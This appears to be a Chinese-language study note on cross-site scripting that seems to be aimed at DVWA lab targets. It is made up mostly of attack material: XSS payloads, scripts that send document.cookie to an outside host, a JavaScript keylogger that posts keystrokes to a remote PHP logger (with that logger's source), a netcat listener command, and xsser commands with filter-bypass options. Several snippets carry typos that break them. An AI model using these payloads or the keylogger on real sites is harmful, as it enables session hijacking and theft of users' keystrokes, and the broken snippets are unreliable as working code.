xss.md
xss
cross-site-scripting
javascript
- 嵌入html
<sctipt>alert("XSS");</script> - 元素标签：
<body onload=alert('XSS')> - 图片:
<img src="javascript:alert("XSS);"> - 其他：
<iframe>, <div>, <link> - DOM对象，篡改页面内容
类型
- 存储型
- 反射型
- DOM型
xss检测
<a href="192.168.1.1">click</a>
<script>alert("XSS")</script>
<a href='' onclick=alert("xss")>type</a>
<img src="http://1.1.1.1/a.jpg" onerror=alert("xss")>
xss利用
nc -vnlp 80 #攻击机上执行
被攻击执行
<script>window.location="http://www.sina.com"</script>
<script>window.location="192.168.1.102"</script>
<iframe src="http://1.1.1.1/victim" height="0" width="0"></iframe>
<script>new Image().src="http://192.168.1.102/c.php?output="+document.cookie;</script>
<script src="http://1.1.1.1/a.js"></script>
a.js
var img = new Image();
img.src = "http://1.1.1.1/cookies.php?cookie="+document.cookie;
键盘记录器
keylogger.js
document.onekeypress = function(evt){
evt = evt || window.event
key = String.formCharCode(evt.charCode)
if (key){
var http = new XMLHttpRequest();
var param = encodeURI(key);
http.open("POST","http://1.1.1.1.keylogger.php",true);
http.setRequestHeader("Content-type","applicant/x-www-form-urlencode");
http.send("key="+param);
}
}
Keylogger.php
<?php
$key = $_POST['key'];
$logfile = "keylog.txt";
$fp = fopen($logfile, "a");
fwrite($fp, $key);
fclose($fp);
?>
<script+src="http://1.1.1.1/keyloger.js"></script+src>
<a href="http://192.168.1.102/dvwa/vulnerabilities/xss_r/?name=<script+src='http://192.168.1.103/keylogger.js'></script>"xss</a>
Xsser
xsser -u "http://1.1.1.1/dvwa/" -g "xss_r/?name=" --cookie="dadadadsadasddsadsa" -v --reverse-check
-u :
url
-p:
post
-g:
get
--heuristic:
启发式的，检测被过滤的字符
--reverse-check：
连接至返回的url(反向连接)
绕过过滤机制
对payload进行编码
--Str
--Une
--Mix
--Dec
--Hex
--Hes
--Dwo
--Doo
--Cem=CEM
xsser -u "http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=high; HPSESSID=d23e469411707ff8210717e67c521a81" --Cem='Mix,Une,Str,Hex'
注入检测
--Coo
--Xsa
--Xsr
--Dcp
--Dom
--Ind
--Anchor
--Phpids
攻击
--Doss
--Dos
--B64
--Onm
--Ifr
存储型
DOM
<script>
var img = document.createElement("img");
img.src = "http://192.168.11.12:88/log?"+ecapse(document.cookie);
</script>
